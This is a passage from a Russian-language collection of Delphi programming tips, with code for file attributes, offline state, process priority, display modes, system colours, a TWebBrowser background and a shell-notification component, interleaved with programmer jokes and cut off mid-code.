Статьи по Delphi (009)…

Как узнать или установить аттрибуты файла.

Чтобы прочитать аттрибуты файла, необходимо передать имя файла в функцию FileGetAttr, которая вернёт аттрибуты для данного файла.

Например, добавьте на форму компоненты TButton и TLabel и добавьте следующий код в в обработчик события OnClick кнопки:

var
  attr: Integer;
  s: string;
begin
  attr := FileGetAttr('c:\Autoexec.bat');
  if (attr and faHidden) <> 0 then s := 'Hidden';
  if (attr and faReadOnly) <> 0 then s := s + 'Read-Only';
  if (attr and faSysFile) <> 0 then s := s + 'System';
  if (attr and faArchive) <> 0 then s := s + 'Archive';
  Label1.Caption := s;
end;

Чтобы установить аттрибуты у файла, необходимо передать имя файла и нужные аттрибуты в функцию FileSetAttr. Каждый аттрибут имеет мнемоническое имя, объявленное в юните SysUtils.

Например, чтобы установить файлу системный атрибут, необходимо выполнить следующий код:

Attributes := Attributes or faSystem;

Так же можно очистить некоторые аттрибуты. Например, чтобы снять атрибуты только чтения и "Скрытый", необходимо выполнить следующий код:

Attributes := Attributes and not (faReadOnly or faHidden);

Вместо объявленных значений атрибутов можно использовать числовые значения.

+--------------------------------+
| Возвр. знач.|   Аттр. Файла    |
+--------------------------------+
|   128       |   Нормальный     |
|   1         |   Только чтение  |
|   2         |   Скрытый        |
|   4         |   Системный      |
|   32        |   Архивный       |
+-------------+------------------+

Пример:


{Скрытый}
FileSetAttr('C:\Autoexec.bat',2);
{Скрытый и Только чтение. В свою очередь
функция FileGetAttr верн¸т значение 3}
FileSetAttr('C:\Autoexec.bat',3);

Установить или получить статус Off-Line.

Ребенок спрашивает маму: - Мамочка! А почему мой папа не делает мне козу и не шлепает по попке? - Потому что нет у тебя больше папки, - рыдая, сказала мама. - Он купил себе модем и подключился к Интернету!
{ 
  Users can choose to work offline by selecting Work Offline on the 
  File menu in Internet Explorer 4.0 and later. When Work Offline is selected, 
  the system enters a global offline state independent of any current network 
  connection, and content is read exclusively from the cache. 
} 
uses wininet; 
// Get offline state 
// Alhaiseb Misurata Libya 
function IsGlobalOffline: Boolean; 
var 
  State, Size: DWORD; 
begin 
  Result := False; 
  State  := 0; 
  Size   := SizeOf(DWORD); 
  if InternetQueryOption(nil, INTERNET_OPTION_CONNECTED_STATE, @State, Size) then 
    if (State and INTERNET_STATE_DISCONNECTED_BY_USER) <> 0 then 
      Result := True; 
end; 
//Set offline state 
procedure SetGlobalOffline(fGoOffline: Boolean); 
var 
  ci: INTERNET_CONNECTED_INFO; 
begin 
  if fGoOffline then 
  begin 
    ci.dwConnectedState := INTERNET_STATE_DISCONNECTED_BY_USER; 
    ci.dwFlags          := ISO_FORCE_DISCONNECTED; 
  end 
  else 
    ci.dwConnectedState := INTERNET_STATE_CONNECTED; 
  InternetSetOption(nil, INTERNET_OPTION_CONNECTED_STATE, @ci, SizeOf(ci)); 
end;

Как получить или установить приоритет процесса в Win9x или Me.

const
  ppIdle : Integer = -1;
  ppNormal : Integer = 0;
  ppHigh : Integer = 1;
  ppRealTime : Integer = 2;
function SetProcessPriority( Priority : Integer ) : Integer;
var
  H : THandle;
begin
  Result := ppNormal;
  H := GetCurrentProcess();
  if ( Priority = ppIdle ) then
    SetPriorityClass( H, IDLE_PRIORITY_CLASS )
  else
  if ( Priority = ppNormal ) then
    SetPriorityClass( H, NORMAL_PRIORITY_CLASS )
  else
  if ( Priority = ppHigh ) then
    SetPriorityClass( H, HIGH_PRIORITY_CLASS )
  else
  if ( Priority = ppRealTime ) then
    SetPriorityClass( H, REALTIME_PRIORITY_CLASS );
  case GetPriorityClass( H ) of
    IDLE_PRIORITY_CLASS : Result := ppIdle;
    NORMAL_PRIORITY_CLASS : Result := ppNormal;
    HIGH_PRIORITY_CLASS : Result := ppHigh;
    REALTIME_PRIORITY_CLASS : Result := ppRealTime;
  end;
end;
function GetProcessPriority : Integer;
var
  H : THandle;
begin
  Result := ppNormal;
  H := GetCurrentProcess();
  case GetPriorityClass( H ) of
    IDLE_PRIORITY_CLASS : Result := ppIdle;
    NORMAL_PRIORITY_CLASS : Result := ppNormal;
    HIGH_PRIORITY_CLASS : Result := ppHigh;
    REALTIME_PRIORITY_CLASS : Result := ppRealTime;
  end;
end;

Как использовать:

function SetProcessPriority( Priority : Integer ) : Integer;

Для установки приоритета Вашего приложения, либо:

function GetProcessPriority : Integer;

Для получения приоритета.

Как узнать и поменять разрешение экрана.

Статьи по Delphi (009)…

Узнать можно так:

Screen.Width;
Screen.Height;

А поменять можно с помощью следующей процердуры:

procedure ChangeDisplayResolution(x, y: word);
var
  dm: TDEVMODE;
begin
  ZeroMemory(@dm, sizeof(TDEVMODE));
  dm.dmSize := sizeof(TDEVMODE);
  dm.dmPelsWidth := x;
  dm.dmPelsHeight := y;
  dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
  ChangeDisplaySettings(dm, 0);
end;

Определить и выставить значение текстового свойства.

Статьи по Delphi (009)…
unit StrForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls;
type
  TForm1 = class(TForm)
    ButtonGet: TButton;
    EditProperty: TEdit;
    Label1: TLabel;
    Bevel1: TBevel;
    ButtonTrial: TButton;
    Label2: TLabel;
    LabelResult: TLabel;
    ButtonSet: TButton;
    Label3: TLabel;
    EditValue: TEdit;
    procedure ButtonGetClick(Sender: TObject);
    procedure ButtonSetClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
uses
  TypInfo;
procedure TForm1.ButtonGetClick(Sender: TObject);
var
  PropInfo: PPropInfo;
begin
  if not Assigned (ButtonTrial) then
    ShowMessage ('The button has been renamed')
  else
  begin
    PropInfo := GetPropInfo (
      ButtonTrial.ClassInfo, EditProperty.Text);
    if PropInfo <> nil then
      if PropInfo^.PropType^.Kind =
          tkLString then
        LabelResult.Caption :=
          GetStrProp (ButtonTrial, PropInfo)
      else
        ShowMessage ('Not a string property')
    else
      ShowMessage ('Property doesn''t exist');
  end;
end;
procedure TForm1.ButtonSetClick(Sender: TObject);
var
  PropInfo: PPropInfo;
begin
  if not Assigned (ButtonTrial) then
    ShowMessage ('The button has been renamed')
  else
  begin
    PropInfo := GetPropInfo (
      ButtonTrial.ClassInfo, EditProperty.Text);
    if PropInfo <> nil then
      if PropInfo^.PropType^.Kind =
          tkLString then
        SetStrProp (ButtonTrial, PropInfo, EditValue.Text)
      else
        ShowMessage ('Not a string property')
    else
      ShowMessage ('Property doesn''t exist');
  end;
end;
end.

Загрузить весь проект

Получить и установить системные цвета.

Заходит компьютерщик в булочную после бессонной ночи у компьютера, провозивщись с установкой кривой видеокарты и говорит: - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного....
var 
  OldColor: TColor; 
  Element: TColor = COLOR_BTNFACE; 
  {....} 
{ 
  Set the color for a system element. SetSysColors function 
  changes the current Windows session only. 
  The new colors are not saved when Windows terminates. 
  For a list of color elements see  Win32 API Help - Function GetSysColor 
  Open the ColorDialog - and set the new color systemwide 
} 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  if ColorDialog1.Execute then 
  begin 
    SetSysColors(1, Element, ColorDialog1.Color); 
  end; 
end; 
{ 
  Save the old color value of the element COLOR_BTNFACE to restore on Button2 click 
} 
procedure TForm1.FormShow(Sender: TObject); 
begin 
  OldColor := GetSysColor(COLOR_BTNFACE); 
end; 
{ 
  Restore the old color value 
  Stellt den alten Farbwert wieder her 
} 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
  SetSysColors(1, Element, OldColor); 
end;

Получаем и устанавливаем различные режимы видеоадаптера.

Подарили одному программисту на Новый 1998 год крутую видеокарточку. Ну, естественно, шампанское побоку, ящик пива - и сидит он в новогоднюю ночь, карточку новую ставит. Ставит драйвера, переставляет Винды - не работает девайс... Тут у него за спиной голос: - Ебешься? - Ебусь, - не поднимая головы отвечает программист. - А хочешь по-настоящему? - Хочу! - не поднимая голвы отвечает программист. И сказал Билл Гейтс: - Будет тебе в новом году Windows"98!

Display Device Modes

При разработке Windows приложения, иногда приходится учитывать тот факт, что оно в будущем будет работать на компьютерах с абсолютно разными мониторами и рабочими разрешениями, установленными на видео адаптере. Поэтому не лишне было бы включить в приложение такую возможность как установка различных разрешений видео адаптера.

В данной статье мы рассмотрим принципы работы с API функцией EnumDisplaySettings, которая позволяет получить список доступных разрешений дисплея, а так же с функцией ChangeDisplaySettings для смены текущего видео-режима.

Получение возможных видео-режимов

Итак, для того, чтобы получить информацию о всех возможных режимах адаптера, нам необходимо сделать серию вызовов функции EnumDisplaySettings. Вызывая эту функцию в цикле мы будем каждый раз получать доступный режим, до тех пор пока результат функции не станет отличным от True.

Данная функция имеет на входе переменную типа TDevMode, в которой помещаются параметры. Сам тип TDevMode имеет множество переменных, относящихся к видео адаптеру. А именно, он включает в себя разрешение видео адаптера в пикселях (dmPelsWidth, dmPelsHeight), разрядность цвета (в битах на пиксель), поддерживаемая при данном разрешении (dmBitsPerPel), частота обновления (dmDisplayFrequency) и другие.

procedure TForm1.FormCreate(Sender: TObject);
var
  i: Integer;
  DevMode: TDevMode;
begin
  i:=0;
  while EnumDisplaySettings(nil,i,DevMode) do
  begin
    with Devmode do
      ListBox1.Items.Add(Format('%dx%d %d Colors',
      [dmPelsWidth,dmPelsHeight,1 shl dmBitsperPel]));
    Inc(i);
  end;
end;

Установка видео-режима

После того как мы получим все доступные режимы, то установить желательный не составляет особого труда. Для этого мы воспользуемся функцией ChangeDisplaySettings. Так же данная функция при необходимости обновит реестр Windows.

procedure TForm1.Button1Click(Sender: TObject);
var
  DevMode: TDeviceMode;
  liRetValue: Longint;
begin
  if EnumDisplaySettings(nil,Listbox1.ItemIndex,Devmode) then
    liRetValue := ChangeDisplaySettings(DevMode, CDS_UPDATEREGISTRY);
  SendMessage(HWND_BROADCAST, WM_DISPLAYCHANGE, SPI_SETNONCLIENTMETRICS, 0);
end;

Функция ChangeDisplaySettings возвращает значение long integer. Это значение можно использовать для определения успешности выполнения функции, сравнив со значениями из списка констант.

Внимание: Не рекомендуется устанавливать значение видео-режима, который не присутствует в списке доступных. Это может привести к мерцанию экрана либо вообще к исчезновению изображения.

Внимание: Многие адаптеры (особенно старые) могут не поддерживать смену разрешения без перезагрузки компьютера.

Внимание: SendMessage используется для того, чтобы информировать все окна о смене видео-режима.

Отслеживание изменений дисплея

Для отслеживания изменений необходимо создать обработчик для перехвата сообщения WM_DISPLAYCHANGE. Обычно данный приём используется в случае, если приложения использует в своей работе графику, и его необходимо перезагрузить для смены разрешения, разрядности цвета и т.д.

...
type
  TForm1 = class(TForm)
    ListBox1: TListBox;
...
  private
  procedure WMDisplayChange(var message:TMessage); message WM_DISPLAYCHANGE;
...
procedure TForm1.WMDisplayChange(var message: TMessage);
begin
  ShowMessage('Changes in display detected!');
  inherited;
end;
Скачать демонстрационный проект

Статьи по Delphi (009)…

Получение и установка видеорежимов в Windows.

Статьи по Delphi (009)…
- Дело в том, - говорит автолюбитель постовому, - что я программист. - Теперь понятно, почему ваш талон похож на перфокарту.

При разработке приложений, которые затем будут использоваться на большом числе различных ПК очень полезно иметь возможность не только получения информации о текущем видеорежиме, но и возможность получить все доступные видеорежимы для данного ПК. Еще одна область, где используется переключение видеорежимов при написании игр без использования DirectX.

Получение списка видеорежимов

Получить видеорежимы можно серией вызовов EnumDisplaySettings. Функция EnumDisplaySettings возвращает информацию о видеорежиме, указанном в параметре IModeNode. Функции необходимо передать структуру типа TDevMode, в которую будет записана информация о видеорежиме. Данная структура имеет поля, характеризующие видеорежим: разрешение (dmPelsWidth, dmPelsHeight), количество битов цветности (dmBitsPerPel), частота обновления экрана (dmDisplayFrequency) и др.

function EnumDisplaySettings(lpszDeviceName: PWideChar; iModeNum: DWORD;
  var lpDevMode: TdeviceMode): BOOL; stdcall;

Параметры.

lpszDeviceName Указатель на нуль-терминальную строку, определяющую экранное устройство, видеорежимы которого мы хотим получить. В Windows 95 and 98 (и в наших приложениях :)) ), lpszDeviceName должно быть равно Nil. iModeNum Номер видеорежима lpDevMode Структура, в которой будет возвращена информация о видеорежиме. Структура довольно сложна и используется не только для видео устройств, но нам понадобятся только следующие ее поля.

Поле Описание.

DmBitsPerPel Количество бит на пиксел DmPelsWidth Ширина в пикселях DmPelsHeight Высота в пикселях DmDisplayFlags DM_GRAYSCALE - Черно-белое устройство DM_INTERLACED - Черезстрочная развертка. Если флаг не установлен, подразумевается построчная развертка dmDisplayFrequency Частота обновления экрана DmPosition Windows 98, Windows 2000: Номер монитора для конфигураций с несколькими мониторами DmFields Поле dmFields используется при смене видеорежима для указания, какие именно из параметров устройства мы хотим изменить. Каждый бит поля определяет необходимость смены одного из параметров. Возможные значения: DM_BITSPERPEL - Изменить количество бит на пиксель на значение указанное в поле dmBitsPerPel. DM_PELSWIDTH - Изменить ширинку экрана на значение указанное в поле dmPelsWidth. DM_PELSHEIGHT - Изменить выстоу экрана на значение указанное в поле dmPelsHeight DM_DISPLAYFLAGS - Изменить флаги. DM_DISPLAYFREQUENCY - Изменить частоту обновления dmDisplayFrequency. DM_POSITION - Windows 98, Windows 2000: изменить номер монитора.

Если lpDevMode равно nil, из реестра берется информация о видеорежиме установленном по умолчанию. Передавая в lpDevMode nil и в dwFlags 0 можно получить настройки текущего видеорежима.

Ниже приведена процедура, получающая и отображающая в ListBox все возможные видеорежимы.

procedure TForm1.FormCreate(Sender: TObject);
var
  i: Integer;
  DevMode : TDeviceMode;
begin
  i:=0;
  while EnumDisplaySettings(nil,i,DevMode) do
  begin
    with Devmode do
      ListBox1.Items.Add(Format('%dx%d %d Colors',
      [dmPelsWidth,dmPelsHeight,Int64(1) shl dmBitsperPel]));
    Inc(i);
  end;
end;

Получение параметров текущего видеорежима

Помимо вызова EnumDisplaySettings инфомацию о текущем видеорежиме можно получать и другими способами.Получить количество битов цвета текущего видеорежима можно и другим способом:

GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *
GetDeviceCaps(Form1.Canvas.Handle, PLANES)

Получаемые значения при этом:

1 = 2 бита на точку 4 = 16 бита на точку 8 = 256 бита на точку 15 = 32768 бита на точку (возвркащает 16 для большинства драйверов экранных устройств) 16 = 65535 бита на точку 24 = 16,777,216 бита на точку 32 = 16,777,216 бита на точку (то же 24)

Непосредственно количество цветов можно так же легко подсчитать:

NumberOfColors := (1 shl
(GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *
GetDeviceCaps(Form1.Canvas.Handle, PLANES));

Текущее разрешение экрана можно узнать с помощью вызова GetSystemMetrics() в качестве параметров передается:

SM_CXSCREEN высота рабочей области экрана в пикселах SM_CYSCREEN ширина рабочей области экрана в пикселах SM_CXFULLSCREEN высота всей экранной области в пикселах SM_CYFULLSCREEN ширина всей экранной области в пикселах

Ниже приведен пример получения высоты и ширины рабочей области экрана (для всей экранной области надо просто поменять параметры вызова GetSystemMetrics):

var
  x, y: Integer;
  Mode: string;
begin
  x:=GetSystemMetrics(Sm_Cxscreen);
  y:=GetSystemMetrics(Sm_CYscreen);
  Mode:=Format('%d x %d',[x,y]);
  if y=480 then
    Mode:=Mode+('Standard VGA')
  else
    Mode:=Mode+('Super VGA');
  StaticText1.Caption:=Mode;
end;

Установка видеорежима

Как мы убедились получения списка и параметров видеорежимов не проблема. Теперь разберемся с программной сменой видеорежимов. Функция ChangeDisplaySettings предназначена для изменения текущего видеорежима экрана и при необходимости обновления этой информации в реестре Windows.

function ChangeDisplaySettings(var lpDevMode: TDeviceMode;
dwFlags: DWORD): Longint; stdcall;

Параметры:

lpDevMode Структура с описанием видеорежима, на который мы хотим переключиться. Поля структуры были рассмотрены ранее. dwFlags Определяет как будет изменен видеорежим. 0 - Немедленное изменение видеорежима. Установка данного флага возвращает в видеорежим по умолчанию, установленному в реестре, если он был изменен с применением флага CDS_FULLSCREEN, при этом первый параметр функции должен быть nil и флаги равны 0. CDS_UPDATEREGISTRY - Видеорежим будет изменен немедленно и информация записана в реестр в пользовательский профиль. CDS_TEST - Запрос теста видеорежима средствами Windows CDS_FULLSCREEN - Установка видеорежима временна. CDS_GLOBAL - Видеорежим будет изменен для всех пользователей данной машины. Иначе видеорежим меняется только для текущего пользователя. Используется вместе с флагом CDS_UPDATEREGISTRY. CDS_SET_PRIMARY - Видеорежим становится первичным. CDS_RESET - Параметры видеорежима будут изменены, даже если совпадают с текущими. CDS_NORESET - Изменения будут записаны в реестр, но не вступят в силу. Используется с флагом CDS_UPDATEREGISTRY Возвращаемое значение: DISP_CHANGE_SUCCESSFUL Изменения прошли успешно. DISP_CHANGE_RESTART Необходима перезагрузка для вступления изменений в силу DISP_CHANGE_BADFLAGS Передан неверный набор флагов DISP_CHANGE_BADPARAM Неверные параметры. DISP_CHANGE_FAILED Драйвер видеоустройства не смог установить режим DISP_CHANGE_BADMODE Видеорежим не поддерживается DISP_CHANGE_NOTUPDATED Windows NT/2000: Ошибка записи в реестр

При немедленном изменении видеорежима всем запущенным приложениям рассылается сообщение WM_DISPLAYCHANGE.

А вот и пример смены видеорежима:

{...}
type
  TForm1 = class(TForm)
    Button1: TButton;
    ListView1: TListView;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ListView1DblClick(Sender: TObject);
  private
    { Private declarations }
    {Массив для хранения информации о видеорежимах}
    DevMode : array[0..20] of TDeviceMode;
  public
    { Public declarations }
end;
{...}
procedure TForm1.FormCreate(Sender: TObject);
begin
  {Настройка ListView}
  ListView1.ViewStyle := vsReport;
  ListView1.RowSelect := TRUE;
  ListView1.Columns.Add;
  ListView1.Columns.Add;
  ListView1.Columns[0].Caption := 'Width x Height';
  ListView1.Columns[0].Width := 100;
  ListView1.Columns[1].Caption := 'Colors';
  ListView1.Columns[1].Width := 100;
end;
{Процедура получения списка режимов}
procedure TForm1.Button1Click(Sender: TObject);
var
  tmpStr1, tmpStr2 : string;
  tmpDC : HDC;
  x, Selection, cxScreen, cyScreen, Resolution : Integer;
begin
  { Запоминаем текущие настройки}
  tmpDC := getDC(Handle);
  try
    cxScreen := GetSystemMetrics(SM_CXSCREEN);
    cyScreen := GetSystemMetrics(SM_CYSCREEN);
    Resolution := GetDeviceCaps(tmpDC, BITSPIXEL);
  finally
    ReleaseDC(Handle, tmpDC);
  end;
  ListView1.Items.Clear;
  x := 0;
  { Получаем список видеорежимов}
  while EnumDisplaySettings(nil,x,DevMode[x]) do
  begin
    { Разрешение экрана }
    tmpStr1 := IntToStr(DevMode[x].dmPelsWidth) + 'x' +
    IntToStr(DevMode[x].dmPelsHeight);
    { Цвета }
    case DevMode[x].dmBitsPerPel of
      4 : tmpStr2 := '16 Colors';
      8 : tmpStr2 := '256 Colors';
      16 : tmpStr2 := 'High Color (16 Bit)';
      32 : tmpStr2 := 'True Color (32 Bit)';
    end;
    { А теперь полученную информацию надо отобразить }
    with ListView1.Items.Add do
    begin
      Caption := tmpStr1;
      SubItems.Add(tmpStr2);
    end;
    { В ListView надо встать не строку с описанием текущего режима,
    для этого сохраним индекс элемента с описанием этого режима }
    if ( cxScreen = DevMode[x].dmPelsWidth ) and
    ( cyScreen = DevMode[x].dmPelsHeight ) and
    ( Resolution = DevMode[x].dmBitsPerPel ) then
      Selection := x;
    inc(x);
    if x = 20 then
      Break;
  end;
  { В ListView перемещаемся на строчку с описанием текущего режима }
  ActiveControl := ListView1;
  ListView1.Selected := ListView1.Items.Item[Selection];
end;
{Установка выбранного пользователем видеорежима}
procedure TForm1.ListView1DblClick(Sender: TObject);
var
  tmpDevMode : TDevMode;
begin
  { Получаем сохраненную ранее информацию по выбранному режиму}
  tmpDevMode := DevMode[ListView1.Items.IndexOf(ListView1.Selected)];
  { Скажем Windows, какие параметры надо сменить }
  tmpDevMode.dmFields := DM_BITSPERPEL or DM_PELSWIDTH or
    DM_PELSHEIGHT or DM_DISPLAYFLAGS or DM_DISPLAYFREQUENCY;
  { Очень неплохо будет протестировать видеорежим
  и записать изменения в реестр}
  if ChangeDisplaySettings(tmpDevMode, CDS_TEST) =
  DISP_CHANGE_SUCCESSFUL then
    ChangeDisplaySettings(tmpDevMode, CDS_UPDATEREGISTRY);
end;

Замечание 1: Не рекомендуется устанавливать видеорежимы, отличные от полученных вызовами EnumDisplaySettings. Возможна ситуация, когда пользователь вместо рабочего стола увидит лишь черный экран.

Замечание 2: Многие драйвера, особенно старые не поддерживают изменения видеорежима без перезагрузки компьютера.

Обнаружение изменений видеорежима

При изменениях видеорежима генерируется сообщение WM_DISPLAYCHANGE. Необходимо создать обработчик данного сообщения в вашем приложении.

...
type
  TForm1 = class(TForm)
  ListBox1: TListBox;
...
private
  procedure WMDisplayChange(var message:TMessage); message WM_DISPLAYCHANGE;
...
procedure TForm1.WMDisplayChange(var message: TMessage);
begin
  ShowMessage('Changes in display detected!');
  inherited;
end;

Получить или установить задний фон в TWebBrowser.

Наш файервалл надежно зашищает внешний мир от нас.
//You need a TWebbrowser and 3 TButtons 
// First load a page 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  WebBrowser1.Navigate('www.SwissDelphiCenter.com'); 
end; 
// Show the background color 
// Hintergrundfarbe herausfinden 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
  ShowMessage(WebBrowser1.OleObject.Document.bgColor); 
end; 
// Set the background color 
procedure TForm1.Button3Click(Sender: TObject); 
begin 
  WebBrowser1.OleObject.Document.bgColor := '#000000'; 
end;

Получение уведомлений от оболочки (Shell).

Автор: maniac_n@hotmail.com
Программер играет в шахматы с компьютером и получает мат на 15 ходу. В сердцах бьет по клавиатуре: - Проклятый виндоз, опять глючит.

Пример показывает - как можно отслеживать практически все события происходящий в Вашей оболочке. Код находится в процессе разработки, но уже содержит в себе большое количество возможностей.

{$IFNDEF VER80} {$IFNDEF VER90} {$IFNDEF VER93}
{$DEFINE Delphi3orHigher}
{$ENDIF} {$ENDIF} {$ENDIF}
unit ShellNotify;
interface
uses
  Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,
  {$IFNDEF Delphi3orHigher} OLE2, {$ELSE} ActiveX, ComObj, {$ENDIF}
  ShlObj;
type
  NOTIFYREGISTER = record
    pidlPath : PItemIDList;
    bWatchSubtree : boolean;
end;
PNOTIFYREGISTER = ^NOTIFYREGISTER;
const
  SNM_SHELLNOTIFICATION = WM_USER +1;
  SHCNF_ACCEPT_INTERRUPTS = $0001;
  SHCNF_ACCEPT_NON_INTERRUPTS = $0002;
  SHCNF_NO_PROXY = $8000;
type
  TNotificationEvent = (neAssociationChange, neAttributesChange,
    neFileChange, neFileCreate, neFileDelete, neFileRename,
    neDriveAdd, neDriveRemove, neShellDriveAdd, neDriveSpaceChange,
    neMediaInsert, neMediaRemove, neFolderCreate, neFolderDelete,
    neFolderRename, neFolderUpdate, neNetShare, neNetUnShare,
    neServerDisconnect, neImageListChange);
  TNotificationEvents = set of TNotificationEvent;
  TShellNotificationEvent1 = procedure(Sender: TObject;
    Path: string)of object;
  TShellNotificationEvent2 = procedure(Sender: TObject;
    path1, path2: string) of object;
  // TShellNotificationAttributesEvent = procedure(Sender: TObject;
  // OldAttribs, NewAttribs: Integer) of Object;
  TShellNotification = class( TComponent )
    private
      fWatchEvents: TNotificationEvents;
      fPath: string;
      fActive, fWatch: Boolean;
      prevPath1, prevPath2: string;
      PrevEvent: Integer;
      Handle, NotifyHandle: HWND;
      fOnAssociationChange: TNotifyEvent;
      fOnAttribChange: TShellNotificationEvent2;
      FOnCreate: TShellNotificationEvent1;
      FOnDelete: TShellNotificationEvent1;
      FOnDriveAdd: TShellNotificationEvent1;
      FOnDriveAddGui: TShellNotificationEvent1;
      FOnDriveRemove: TShellNotificationEvent1;
      FOnMediaInsert: TShellNotificationEvent1;
      FOnMediaRemove: TShellNotificationEvent1;
      FOnDirCreate: TShellNotificationEvent1;
      FOnNetShare: TShellNotificationEvent1;
      FOnNetUnShare: TShellNotificationEvent1;
      FOnRenameFolder: TShellNotificationEvent2;
      FOnItemRename: TShellNotificationEvent2;
      FOnFolderRemove: TShellNotificationEvent1;
      FOnServerDisconnect: TShellNotificationEvent1;
      FOnFolderUpdate: TShellNotificationEvent1;
      function PathFromPidl(Pidl: PItemIDList): string;
      procedure SetWatchEvents(const Value: TNotificationEvents);
      function GetActive: Boolean;
      procedure SetActive(const Value: Boolean);
      procedure SetPath(const Value: string);
      procedure SetWatch(const Value: Boolean);
    protected
      procedure ShellNotifyRegister;
      procedure ShellNotifyUnregister;
      procedure WndProc(var message: TMessage);
      procedure DoAssociationChange; dynamic;
      procedure DoAttributesChange(Path1, Path2: string); dynamic;
      procedure DoCreateFile(Path: string); dynamic;
      procedure DoDeleteFile(Path: string); dynamic;
      procedure DoDriveAdd(Path:string); dynamic;
      procedure DoDriveAddGui(Path: string); dynamic;
      procedure DoDriveRemove(Path: string); dynamic;
      procedure DoMediaInsert(Path: string); dynamic;
      procedure DoMediaRemove(Path: string); dynamic;
      procedure DoDirCreate(Path: string); dynamic;
      procedure DoNetShare(Path: string); dynamic;
      procedure DoNetUnShare(Path: string); dynamic;
      procedure DoRenameFolder(Path1, Path2: string); dynamic;
      procedure DoRenameItem(Path1, Path2: string); dynamic;
      procedure DoFolderRemove(Path: string); dynamic;
      procedure DoServerDisconnect(Path: string); dynamic;
      procedure DoDirUpdate(Path: string); dynamic;
    public
      constructor Create(AOwner: TComponent); override;
      destructor Destroy; override;
    published
      property Path: string read fPath write SetPath;
      property Active: Boolean read GetActive write SetActive;
      property WatchSubTree: Boolean read fWatch write SetWatch;
      property WatchEvents: TNotificationEvents
      read fWatchEvents write SetWatchEvents;
      property OnAssociationChange: TNotifyEvent
      read fOnAssociationChange write FOnAssociationChange;
      property OnAttributesChange: TShellNotificationEvent2
      read fOnAttribChange write fOnAttribChange;
      property OnFileCreate: TShellNotificationEvent1
      read FOnCreate write FOnCreate;
      property OnFolderRename: TShellNotificationEvent2
      read FOnRenameFolder write FOnRenameFolder;
      property OnFolderUpdate: TShellNotificationEvent1
      read FOnFolderUpdate write FOnFolderUpdate;
      property OnFileDelete: TShellNotificationEvent1
      read FOnDelete write FOnDelete;
      property OnDriveAdd: TShellNotificationEvent1
      read FOnDriveAdd write FOnDriveAdd;
      property OnFolderRemove: TShellNotificationEvent1
      read FOnFolderRemove write FOnFolderRemove;
      property OnItemRename: TShellNotificationEvent2
      read FOnItemRename write FOnItemRename;
      property OnDriveAddGui: TShellNotificationEvent1
      read FOnDriveAddGui write FOnDriveAddGui;
      property OnDriveRemove: TShellNotificationEvent1
      read FOnDriveRemove write FOnDriveRemove;
      property OnMediaInserted: TShellNotificationEvent1
      read FOnMediaInsert write FOnMediaInsert;
      property OnMediaRemove: TShellNotificationEvent1
      read FOnMediaRemove write FOnMediaRemove;
      property OnDirCreate: TShellNotificationEvent1
      read FOnDirCreate write FOnDirCreate;
      property OnNetShare: TShellNotificationEvent1
      read FOnNetShare write FOnNetShare;
      property OnNetUnShare: TShellNotificationEvent1
      read FOnNetUnShare write FOnNetUnShare;
      property OnServerDisconnect: TShellNotificationEvent1
      read FOnServerDisconnect write FOnServerDisconnect;
end;
function SHChangeNotifyRegister( hWnd: HWND; dwFlags: integer;
wEventMask : cardinal; uMsg: UINT; cItems : integer;
lpItems : PNOTIFYREGISTER) : HWND; stdcall;
function SHChangeNotifyDeregister(hWnd: HWND) : boolean; stdcall;
function SHILCreateFromPath(Path: Pointer; PIDL: PItemIDList;
var Attributes: ULONG):HResult; stdcall;
implementation
const Shell32DLL = 'shell32.dll';
function SHChangeNotifyRegister; external Shell32DLL index 2;
function SHChangeNotifyDeregister; external Shell32DLL index 4;
function SHILCreateFromPath; external Shell32DLL index 28;
{ TShellNotification }
constructor TShellNotification.Create(AOwner: TComponent);
begin
  inherited Create( AOwner );
  if not (csDesigning in ComponentState) then
    Handle := AllocateHWnd(WndProc);
end;
destructor TShellNotification.Destroy;
begin
  if not (csDesigning in ComponentState) then
    Active := False;
  if Handle <> 0 then
    DeallocateHWnd( Handle );
  inherited Destroy;
end;
procedure TShellNotification.DoAssociationChange;
begin
  if Assigned( fOnAssociationChange ) and
  (neAssociationChange in fWatchEvents) then
    fOnAssociationChange( Self );
end;
procedure TShellNotification.DoAttributesChange;
begin
  if Assigned( fOnAttribChange ) then
    fOnAttribChange( Self, Path1, Path2 );
end;
procedure TShellNotification.DoCreateFile(Path: string);
begin
  if Assigned( fOnCreate ) then
    FOnCreate(Self, Path)
end;
procedure TShellNotification.DoDeleteFile(Path: string);
begin
  if Assigned( FOnDelete ) then
    FOnDelete(Self, Path);
end;
procedure TShellNotification.DoDirCreate(Path: string);
begin
  if Assigned( FOnDirCreate ) then
    FOnDirCreate( Self, Path );
end;
procedure TShellNotification.DoDirUpdate(Path: string);
begin
  if Assigned( FOnFolderUpdate ) then
    FOnFolderUpdate(Self, Path);
end;
procedure TShellNotification.DoDriveAdd(Path: string);
begin
  if Assigned( FOnDriveAdd ) then
    FOnDriveAdd(Self, Path);
end;
procedure TShellNotification.DoDriveAddGui(Path: string);
begin
  if Assigned( FOnDriveAddGui ) then
    FOnDriveAdd(Self, Path);
end;
procedure TShellNotification.DoDriveRemove(Path: string);
begin
  if Assigned( FOnDriveRemove ) then
    FOnDriveRemove(Self, Path);
end;
procedure TShellNotification.DoFolderRemove(Path: string);
begin
  if Assigned(FOnFolderRemove) then
    FOnFolderRemove( Self, Path );
end;
procedure TShellNotification.DoMediaInsert(Path: string);
begin
  if Assigned( FOnMediaInsert ) then
    FOnMediaInsert(Self, Path);
end;
procedure TShellNotification.DoMediaRemove(Path: string);
begin
  if Assigned(FOnMediaRemove) then
    FOnMediaRemove(Self, Path);
end;
procedure TShellNotification.DoNetShare(Path: string);
begin
  if Assigned(FOnNetShare) then
    FOnNetShare(Self, Path);
